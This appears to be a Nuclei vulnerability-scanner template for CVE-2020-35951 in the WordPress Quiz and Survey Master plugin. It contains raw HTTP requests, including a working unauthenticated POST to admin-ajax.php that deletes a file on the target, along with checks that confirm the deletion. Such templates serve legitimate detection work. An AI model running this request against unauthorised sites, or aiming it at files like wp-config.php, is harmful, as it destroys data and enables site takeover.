id: CVE-2020-35951 info: name: Wordpress Quiz and Survey Master Arbitrary File Deletion author: princechaddha severity: critical description: | An issue was discovered in the Quiz and Survey Master plugin before 7.0.1 for WordPress. It allows users to delete arbitrary files such as wp-config.php file, which could effectively take a site offline and allow an attacker to reinstall with a WordPress instance under their control. This occurred via qsm_remove_file_fd_question, which allowed unauthenticated deletions (even though it was only intended for a person to delete their own quiz-answer files). reference: https://www.wordfence.com/blog/2020/08/critical-vulnerabilities-patched-in-quiz-and-survey-master-plugin/ tags: cve,cve2020,wordpress,wp-plugin requests: - raw: - | GET /wp-content/plugins/quiz-master-next/README.md HTTP/1.1 Host: {{Hostname}} Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Connection: close - | GET /wp-content/plugins/quiz-master-next/tests/_support/AcceptanceTester.php HTTP/1.1 Host: {{Hostname}} Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Connection: close - | POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} Content-Length: 269 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.192 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBJ17hSJBjuGrnW92 Accept: */* Accept-Language: en-US,en;q=0.9 Connection: close ------WebKitFormBoundaryBJ17hSJBjuGrnW92 Content-Disposition: form-data; name="action" qsm_remove_file_fd_question ------WebKitFormBoundaryBJ17hSJBjuGrnW92 Content-Disposition: form-data; name="file_url" {{fullpath}}wp-content/plugins/quiz-master-next/README.md ------WebKitFormBoundaryBJ17hSJBjuGrnW92-- - | GET /wp-content/plugins/quiz-master-next/README.md HTTP/1.1 Host: {{Hostname}} Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Connection: close extractors: - type: regex name: fullpath internal: true part: body group: 1 regex: - "not found in ([/a-z_]+)wp" req-condition: true matchers-condition: and matchers: - type: word words: - '{"type":"success","message":"File removed successfully"}' part: body - type: dsl dsl: - "contains((body_1), '# Quiz And Survey Master') && status_code_4==301 && !contains((body_4), '# Quiz And Survey Master')"